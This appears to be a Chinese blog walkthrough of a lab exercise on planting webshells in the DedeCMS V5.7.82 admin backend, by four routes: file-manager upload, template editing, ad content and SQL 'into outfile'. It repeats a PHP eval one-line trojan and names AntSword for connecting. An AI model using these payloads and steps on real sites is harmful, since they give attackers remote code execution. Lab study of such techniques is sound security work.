DedeCMS-V5.7.82-UTF8织梦

先进行安装

然后进入首页和管理员后台 内容要在后台进行操作

首页

后台

1.通过文件管理器上传WebShell

访问目标靶场其思路为 dedecms 后台可以直接上传任意文件,可以通过文件管理器上传php文件获取webshel

登陆到后台点击【核心】【文件式管理器】【文件上传】将准备好的一句话代

码上传

2.修改模板文件拿shell

点击模板 默认模板管理 index.html 然后点击修改

写入一句话木马<?php phpinfo();eval($_POST['cmd']);?>

然后保存

接着点击生成 更新主页HTML--》将主页位置修改为【../index.php】--》点击 【生成静态】--》点击【更新主页】 再次访问站点首页可发现变化...

3.后台任意命令执行拿WebShell

<?php phpinfo();eval($_POST['cmd']);?>

步骤一:点击 【模块】 --》 【广告管理】--》〔【增加一个新广告】--》在【广告内容】 处添

加一句话代码--》点击 【确定】

步骤二:点击【代码】--》在图中显示的路径与站点进行拼接..访问测试!

拿蚁剑测试连接

4.SQL命令行

输入一句话木马

select "<?php phpinfo();eval($_POST['cmd']);?>" into outfile "D:/phpstudy_pro/WWW/uploads/shell.php"

相关推荐
行墨12 分钟前
Kotlin 主构造函数
android
前行的小黑炭14 分钟前
Android从传统的XML转到Compose的变化:mutableStateOf、MutableStateFlow;有的使用by有的使用by remember
android·kotlin
_一条咸鱼_18 分钟前
Android Compose 框架尺寸与密度深入剖析(五十五)
android
在狂风暴雨中奔跑31 分钟前
使用AI开发Android界面
android·人工智能
行墨33 分钟前
Kotlin 定义类与field关键
android
信徒_1 小时前
Mysql 在什么样的情况下会产生死锁?
android·数据库·mysql
大胡子的机器人2 小时前
安卓中app_process运行报错Aborted,怎么查看具体的报错日志
android
goto_w2 小时前
uniapp上使用webview与浏览器交互,支持三端(android、iOS、harmonyos next)
android·vue.js·ios·uni-app·harmonyos
QING6183 小时前
Kotlin Random.Default用法及代码示例
android·kotlin·源码阅读
QING6183 小时前
Kotlin Byte.inc用法及代码示例
android·kotlin·源码阅读